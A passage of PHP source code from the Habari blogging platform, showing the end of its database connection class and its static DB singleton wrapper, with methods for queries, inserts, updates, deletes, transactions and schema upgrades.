	 * Inserts into the specified table values associated to the key fields
	 * @param string The table name
	 * @param array An associative array of fields and values to insert
	 * @return boolean True on success, false if not
	 * DB::insert( 'mytable', array( 'fieldname' => 'value' ) );
	 */
	public function insert( $table, $fieldvalues )
	{
		ksort( $fieldvalues );

		$fields = array_keys( $fieldvalues );
		$values = array_values( $fieldvalues );

		$query = "INSERT INTO {$table} ( " . implode( ', ', $fields ) . ' ) VALUES ( ' . implode( ', ', array_fill( 0, count( $values ), '?' ) ) . ' )';

		// need to pass $table on to the $o singleton object;
		$this->current_table = $table;

		return $this->query( $query, $values );
	}

	/**
	 * Checks for a record that matches the specific criteria
	 * @param string Table to check
	 * @param array Associative array of field values to match
	 * @return boolean True if any matching record exists, false if not
	 * DB::exists( 'mytable', array( 'fieldname' => 'value' ) );
	 */
	public function exists( $table, $keyfieldvalues )
	{
		$qry = "SELECT 1 as c FROM {$table} WHERE 1=1 ";

		$values = array();
		foreach ( $keyfieldvalues as $keyfield => $keyvalue ) {
			$qry .= " AND {$keyfield} = ? ";
			$values[] = $keyvalue;
		}
		$result = $this->get_row( $qry, $values );
		return ( $result !== false );
	}

	/**
	 * function update
	 * Updates any record that matches the specific criteria
	 * A new row is inserted if no existing record matches the criteria
	 * @param string Table to update
	 * @param array Associative array of field values to set
	 * @param array Associative array of field values to match
	 * @return boolean True on success, false if not
	 * DB::update( 'mytable', array( 'fieldname' => 'newvalue' ), array( 'fieldname' => 'value' ) );
	 */
	public function update( $table, $fieldvalues, $keyfields )
	{
		ksort( $fieldvalues );
		ksort( $keyfields );

		$keyfieldvalues = array();
		foreach ( $keyfields as $keyfield => $keyvalue ) {
			if ( is_numeric( $keyfield ) ) {
				// if the key is numeric, assume we were handed a simple list of fields that are keys and fetch its value from $fieldvalues
				$keyfieldvalues[$keyvalue] = $fieldvalues[$keyvalue];
			}
			else {
				// otherwise we were handed a key => value pair, use it as-is
				$keyfieldvalues[$keyfield] = $keyvalue;
			}
		}
		if ( $this->exists( $table, $keyfieldvalues ) ) {
			$qry = "UPDATE {$table} SET";
			$values = array();
			$comma = '';
			foreach ( $fieldvalues as $fieldname => $fieldvalue ) {
				$qry .= $comma . " {$fieldname} = ?";
				$values[] = $fieldvalue;
				$comma = ' ,';
			}
			$qry .= ' WHERE 1=1 ';

			foreach ( $keyfieldvalues as $keyfield => $keyvalue ) {
				$qry .= "AND {$keyfield} = ? ";
				$values[] = $keyvalue;
			}
			return $this->query( $qry, $values );
		}
		else {
			// We want the keyfieldvalues to be included in
			// the insert, with fieldvalues taking precedence.
			$fieldvalues = $fieldvalues + $keyfieldvalues;
			return $this->insert( $table, $fieldvalues );
		}
	}

	/**
	 * Deletes any record that matches the specific criteria
	 * @param string Table to delete from
	 * @param array Associative array of field values to match
	 * @return boolean True on success, false if not
	 * DB::delete( 'mytable', array( 'fieldname' => 'value' ) );
	 */
	public function delete( $table, $keyfields )
	{
		$qry = "DELETE FROM {$table} WHERE 1=1 ";
		foreach ( $keyfields as $keyfield => $keyvalue ) {
			$qry .= "AND {$keyfield} = ? ";
			$values[] = $keyvalue;
		}

		return $this->query( $qry, $values );
	}

	/**
	 * Helper function to return the last inserted sequence or
	 * auto_increment field.  Useful when doing multiple inserts
	 * within a single transaction -- for example, adding dependent
	 * related rows.
	 *
	 * @return  mixed The last sequence value ( RDBMS-dependent! )
	 * @see     http://us2.php.net/manual/en/function.pdo-lastinsertid.php
	 */
	public function last_insert_id()
	{
		if ( $this->pdo->getAttribute( PDO::ATTR_DRIVER_NAME ) == 'pgsql' ) {
			return $this->pdo->lastInsertId( $this->current_table. '_pkey_seq' );
		}
		else {
			return $this->pdo->lastInsertId( func_num_args() == 1 ? func_get_arg( 0 ) : '' );
		}
	}

	/**
	 * Automatic diffing function, used for determining required database upgrades.
	 * Implemented in child classes.
	 */
	public function dbdelta( $queries, $execute = true, $silent = true ){}

	public function upgrade_pre( $old_version ){}

	public function upgrade_post( $old_version ){}

	/**
	 * Updates the content of the database between versions.
	 * Implemented in child classes.
	 *
	 * @param integer $old_version The old Version::DB_VERSION
	 */
	public function upgrade( $old_version, $upgrade_path = '' )
	{
		// Get all the upgrade files
		$upgrade_files = Utils::glob( "{$upgrade_path}/*.sql" );

		// Put the upgrade files into an array using the 0-padded revision + '_0' as the key
		$upgrades = array();
		foreach ( $upgrade_files as $file ) {
			if ( intval( basename( $file, '.sql' ) ) > $old_version ) {
				$upgrades[ sprintf( '%010s_0', basename( $file, '.sql' ) )] = $file;
			}
		}
		// Put the upgrade functions into an array using the 0-padded revision + '_1' as the key
		$upgrade_functions = get_class_methods( $this );
		foreach ( $upgrade_functions as $fn ) {
			if ( preg_match( '%^upgrade_([0-9]+)$%i', $fn, $matches ) ) {
				if ( intval( $matches[1] ) > $old_version ) {
					$upgrades[ sprintf( '%010s_1', $matches[1] )] = array( $this, $fn );
				}
			}
		}

		// Sort the upgrades by revision, ascending
		ksort( $upgrades );

		// Execute all of the upgrade functions
		$result = true;
		foreach ( $upgrades as $upgrade ) {
			if ( is_array( $upgrade ) ) {
				$result &= $upgrade();
			}
			else {
				$result &= $this->query_file( $upgrade );
			}
			if ( !$result ) {
				break;
			}
		}

		return $result;
	}

	/**
	 * Load a file containing queries, replace the prefix, execute all queries present
	 *
	 * @param string $file The filename containing the queries
	 * @return boolean True on successful execution of all queries
	 */
	public function query_file( $file )
	{
		$upgrade_sql = trim( file_get_contents( $file ) );
		$upgrade_sql = str_replace( '{$prefix}', $this->prefix, $upgrade_sql );

		// Split up the queries
		$queries = explode( ';', $upgrade_sql );

		foreach ( $queries as $query ) {
			if ( trim( $query ) != '' ) {
				if ( !$this->query( $query ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Translates the query for the current database engine
	 *
	 * @param string $query The query to translate for the current database engine
	 * @param array $args Arguments to the query
	 * @return string The translated query
	 */
	public function sql_t( $query )
	{
		return $query;
	}

	/**
	 * Replace braced table names with their prefixed counterparts
	 *
	 * @param string $query The query with {braced} table names
	 * @return string The translated query
	 */
	public function filter_tables( $query )
	{
		return str_replace( $this->sql_tables_repl, $this->sql_tables, $query );
	}

	public function get_driver_name()
	{
		if ( ! $this->driver ) {
			$this->driver = $this->pdo->getAttribute( PDO::ATTR_DRIVER_NAME );
		}
		return $this->driver;
	}

	public function get_driver_version()
	{
		return $this->pdo->getAttribute( PDO::ATTR_SERVER_VERSION );
	}

	/**
	 * Returns number of rows affected by the last DELETE, INSERT, or UPDATE
	 *
	 * @return int The number of rows affected.
	 */
	public function row_count()
	{
		return $this->pdo_statement->rowCount();
	}

	/**
	 * Returns a list of tables the DB currently knows about.
	 *
	 * @return array The list of tables.
	 */
	public function list_tables()
	{
		return $this->sql_tables;
	}

	/**
	 * Return a PDO-quoted string appropriate for the DB backend we're using.
	 *
	 * If you're using this then there's 99+% probability you're building your queries the wrong way!
	 *
	 * @param string $string The string to quote.
	 * @return string A DB-safe quoted string.
	 */
	public function quote ( $string )
	{
		return $this->pdo->quote( $string );
	}

}

?>


code:
<?php
/**
 * @package Habari
 *
 */

/**
 * Habari DB Class
 *
 * Singleton class for database connection and manipulation
 *
 */
class DB extends Singleton
{
	/**
	 * @var DatabaseConnection $connection
	 */
	private $connection = null;

	/**
	 * Enables singleton working properly
	 *
	 * @see singleton.php
	 * @return DB
	 */
	protected static function instance()
	{
		return self::getInstanceOf( __CLASS__ );
	}

	/**
	 * Connects to the database server.  If no arguments are
	 * supplied, then the connection is attempted for the
	 * database authentication variables in config.php.
	 *
	 * @param (optional)  connection_string a PDO connection string
	 * @param (optional)  db_user           the database user name
	 * @param (optional)  db_pass           the database user password
	 * @return  bool
	 */
	public static function connect()
	{
		/*
			if connection has been instantiated (ie: not null), check if is already connected
		*/
		if ( null != DB::instance()->connection ) {
			if ( (func_num_args() == 0) && false != DB::instance()->connection->is_connected() ) {
				return true;
			}
		}

		if ( func_num_args() > 0 ) {
			$connect_string = func_get_arg( 0 );
			$db_user = func_get_arg( 1 );
			$db_pass = func_get_arg( 2 );
		}
		else {
			/* We use the config.php variables */
			$connect_string = Config::get( 'db_connection' )->connection_string;
			$db_user = Config::get( 'db_connection' )->username;
			$db_pass = Config::get( 'db_connection' )->password;
		}
		DB::instance()->connection = DatabaseConnection::ConnectionFactory( $connect_string );
		if ( null != DB::instance()->connection ) {
			return DB::instance()->connection->connect( $connect_string, $db_user, $db_pass );
		}
		else {
			// do some error handling here. The connect string does not have a corresponding DB connection object
			print _t( 'Panic! No database connection class appears to be found for the connection string specified. Please check config.php' );
		}
	}

	public static function disconnect()
	{
		if ( null == DB::instance()->connection ) {
			return true;
		}

		return DB::instance()->connection->disconnect();
	}

	/**
	 * Helper function to naturally return table names
	 *
	 * @param table name of the table
	 */
	public static function table( $name )
	{
		return DB::instance()->connection->table( $name );
	}

	/**
	 * Adds a table to the list of tables known to Habari.  Used
	 * by Theme and Plugin classes to inform the DB class about
	 * custom tables used by the plugin
	 *
	 * @param string $name  The table name
	**/
	public static function register_table( $name )
	{
		DB::instance()->connection->register_table( $name );
	}

	/**
	 * Sets the fetch mode for return calls from PDOStatement
	 *
	 * @param integer $mode  One of the PDO::FETCH_MODE integers
	 */
	public static function set_fetch_mode( $mode )
	{
		DB::instance()->connection->set_fetch_mode( $mode );
	}

	/**
	 * Sets the class to fetch, if fetch mode is PDO::FETCH_CLASS
	 *
	 * @param string $class_name  Name of class to create during fetch
	 */
	public static function set_fetch_class( $class_name )
	{
		DB::instance()->connection->set_fetch_class( $class_name );
	}

	public static function exec( $query )
	{
		return DB::instance()->connection->exec( $query );
	}

	/**
	 * Queries the database for a given SQL command.
	 * @param string $query the SQL query text
	 * @param array $args array of values to use for placeholder replacement
	 * @return bool
	 */
	public static function query( $query, $args = array() )
	{
		return DB::instance()->connection->query( $query, $args );
	}

	/**
	 * Executes a stored procedure against the database
	 *
	 * @param   procedure   name of the stored procedure
	 * @param   args        arguments for the procedure
	 * @return  mixed       whatever the procedure returns...
	 * @experimental
	 * @todo  EVERYTHING... :)
	 */
	public static function execute_procedure( $procedure, $args = array() )
	{
		return DB::instance()->connection->execute_procedure( $procedure, $args );
	}

	/**
	 * Start a transaction against the RDBMS in order to wrap multiple
	 * statements in a safe ACID-compliant container
	 */
	public static function begin_transaction()
	{
		DB::instance()->connection->begin_transaction();
	}

	/**
	 * Rolls a currently running transaction back to the
	 * prexisting state, or, if the RDBMS supports it, whenever
	 * a savepoint was committed.
	 */
	public static function rollback()
	{
		DB::instance()->connection->rollback();
	}

	/**
	 * Commit a currently running transaction
	 */
	public static function commit()
	{
		DB::instance()->connection->commit();
	}

	/**
	 * Returns query profiles
	 *
	 * @return  array an array of query profiles
	 */
	public static function get_profiles()
	{
		return DB::instance()->connection->get_profiles();
	}

	/**
	 * Adds an error to the internal collection
	 *
	 * @param   error   array('query'=>query, 'error'=>errorInfo)
	 */
	private static function add_error( $error )
	{
		DB::instance()->connection->add_error( $error );
	}

	/**
	 * Returns error data gathered from database connection
	 * @return array An array of error data
	 */
	public static function get_errors()
	{
		return DB::instance()->connection->get_errors();
	}

	/**
	 * Determines if there have been errors since the last clear_errors() call
	 * @return boolean True if there were errors, false if not
	 **/
	public static function has_errors()
	{
		return DB::instance()->connection->has_errors();
	}

	/**
	 * Updates the last error pointer to simulate resetting the error array
	 **/
	public static function clear_errors()
	{
		DB::instance()->connection->clear_errors();
	}

	/**
	 * Returns only the last error info
	 * @return array Data for the last error
	 **/
	public static function get_last_error()
	{
		return DB::instance()->connection->get_last_error();
	}

	/**
	 * Execute a query and return the results as an array of objects
	 * @param string $query the query to execute
	 * @param array $args array of arguments to pass for prepared statements
	 * @param string $class_name Optional class name for row result objects
	 * @return array An array of QueryRecord or the named class each containing the row data
	 * $ary = DB::get_results( 'SELECT * FROM tablename WHERE foo = ?', array('fieldvalue'), 'extendedQueryRecord' );
	 **/
	public static function get_results( $query, $args = array() )
	{
		if ( func_num_args() == 3 ) {
			$class_name = func_get_arg( 2 );
			return DB::instance()->connection->get_results( $query, $args, $class_name );
		}
		else {
			return DB::instance()->connection->get_results( $query, $args );
		}
	}

	/**
	 * Returns a single row (the first in a multi-result set) object for a query
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @param string Optional class name for row result object
	 * @return object A QueryRecord or an instance of the named class containing the row data
	 * $obj = DB::get_row( 'SELECT * FROM tablename WHERE foo = ?', array('fieldvalue'), 'extendedQueryRecord' );
	 **/
	public static function get_row( $query, $args = array() )
	{
		if ( func_num_args() == 3 ) {
			$class_name = func_get_arg( 2 );
			return DB::instance()->connection->get_row( $query, $args, $class_name );
		}
		else {
			return DB::instance()->connection->get_row( $query, $args );
		}
	}

	/**
	 * Returns all values for a column for a query
	 *
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return array An array containing the column data
	 * $ary = DB::get_column( 'SELECT col1 FROM tablename WHERE foo = ?', array('fieldvalue') );
	 **/
	public static function get_column( $query, $args = array() )
	{
		return DB::instance()->connection->get_column( $query, $args );
	}

	/**
	 * Return a single value from the database
	 *
	 * @param string the query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return mixed a single value (int, string)
	**/
	public static function get_value( $query, $args = array() )
	{
		return DB::instance()->connection->get_value( $query, $args );
	}

	/**
	 * Returns an associative array using the first returned column as the array key and the second as the array value
	 *
	 * @param string The query to execute
	 * @param array Arguments to pass for prepared statements
	 * @return array An array containing the associative data
	 * $ary= DB::get_keyvalue( 'SELECT keyfield, valuefield FROM tablename');
	 **/
	public static function get_keyvalue( $query, $args = array() )
	{
		return DB::instance()->connection->get_keyvalue( $query, $args );
	}

	/**
	 * Inserts into the specified table values associated to the key fields
	 * @param string $table The table name
	 * @param array $fieldvalues An associative array of fields and values to insert
	 * @return boolean True on success, false if not
	 * DB::insert( 'mytable', array( 'fieldname' => 'value' ) );
	 **/
	public static function insert( $table, $fieldvalues )
	{
		return DB::instance()->connection->insert( $table, $fieldvalues );
	}

	/**
	 * Checks for a record that matches the specific criteria
	 * @param string Table to check
	 * @param array Associative array of field values to match
	 * @return boolean True if any matching record exists, false if not
	 * DB::exists( 'mytable', array( 'fieldname' => 'value' ) );
	 **/
	public static function exists( $table, $keyfieldvalues )
	{
		return DB::instance()->connection->exists( $table, $keyfieldvalues );
	}

	/**
	 * function update
	 * Updates any record that matches the specific criteria
	 * A new row is inserted if no existing record matches the criteria
	 * @param string $table Table to update
	 * @param array $fieldvalues Associative array of field values to set
	 * @param array $keyfields Associative array of field values to match
	 * @return boolean True on success, false if not
	 * DB::update( 'mytable', array( 'fieldname' => 'newvalue' ), array( 'fieldname' => 'value' ) );
	 **/
	public static function update( $table, $fieldvalues, $keyfields )
	{
		return DB::instance()->connection->update( $table, $fieldvalues, $keyfields );
	}

	/**
	 * Deletes any record that matches the specific criteria
	 * @param string Table to delete from
	 * @param array Associative array of field values to match
	 * @return boolean True on success, false if not
	 * DB::delete( 'mytable', array( 'fieldname' => 'value' ) );
	 */
	public static function delete( $table, $keyfields )
	{
		return DB::instance()->connection->delete( $table, $keyfields );
	}

	/**
	 * Helper function to return the last inserted sequence or
	 * auto_increment field.  Useful when doing multiple inserts
	 * within a single transaction -- for example, adding dependent
	 * related rows.
	 *
	 * @return  mixed The last sequence value (RDBMS-dependent!)
	 * @see     http://us2.php.net/manual/en/function.pdo-lastinsertid.php
	 */
	public static function last_insert_id()
	{
		return DB::instance()->connection->last_insert_id( func_num_args() == 1 ? func_get_arg( 0 ) : '' );
	}

	/**
	 * Returns number of rows affected by the last DELETE, INSERT, or UPDATE
	 *
	 * @return int The number of rows affected.
	 */
	public static function row_count()
	{
		return DB::instance()->connection->row_count();
	}

	/**
	 * Automatic database diffing function, used for determining required database upgrades.
	 *
	 * @param queries array of create table and insert statements which constitute a fresh install
	 * @param (optional)  execute should the queries be executed against the database or just simulated. default = true
	 * @param (optional) silent silent running with no messages printed? default = true
	 * @return  string			translated SQL string
	 */
	public static function dbdelta( $queries, $execute = true, $silent = true, $doinserts = false )
	{
		return DB::instance()->connection->dbdelta( $queries, $execute, $silent, $doinserts );
	}

	/**
	 * Upgrade data in the database between database revisions
	 *
	 * @param integer $old_version Optional version to upgrade to
	 */
	public static function upgrade( $old_version )
	{
		return DB::instance()->connection->upgrade( $old_version );
	}

	public static function upgrade_pre( $old_version )
	{
		return DB::instance()->connection->upgrade_pre( $old_version );
	}

	public static function upgrade_post( $old_version )
	{
		return DB::instance()->connection->upgrade_post( $old_version );
	}

	public static function get_driver_name()
	{
		return DB::instance()->connection->get_driver_name();
	}

	public static function get_driver_version()
	{
		return DB::instance()->connection->get_driver_version();
	}

	/**
	 * Returns a list of tables the DB currently knows about.
	 *
	 * @return array The list of tables.
	 */
	public static function list_tables()
	{
		return DB::instance()->connection->list_tables();
	}

	/**
	 * Check whether there is an existing connection to a database.
	 *
	 * @return boolean
	 */
	public static function is_connected()
	{
		return (DB::instance()->connection instanceof DatabaseConnection && DB::instance()->connection->is_connected());
	}

	/**
	 * Check whether there is a transaction underway.
	 *
	 * @return boolean
	 */
	public static function in_transaction()
	{
		return DB::instance()->connection->in_transaction();
	}

	/**
	 * Return a PDO-quoted string appropriate for the DB backend we're using.
	 *
	 * If you're using this then there's 99+% probability you're building your queries the wrong way!
	 *
	 * @param string $string The string to quote.
	 * @return string A DB-safe quoted string.
	 */
	public static function quote( $string )
	{
		return DB::instance()->connection->quote( $string );
	}
}

?>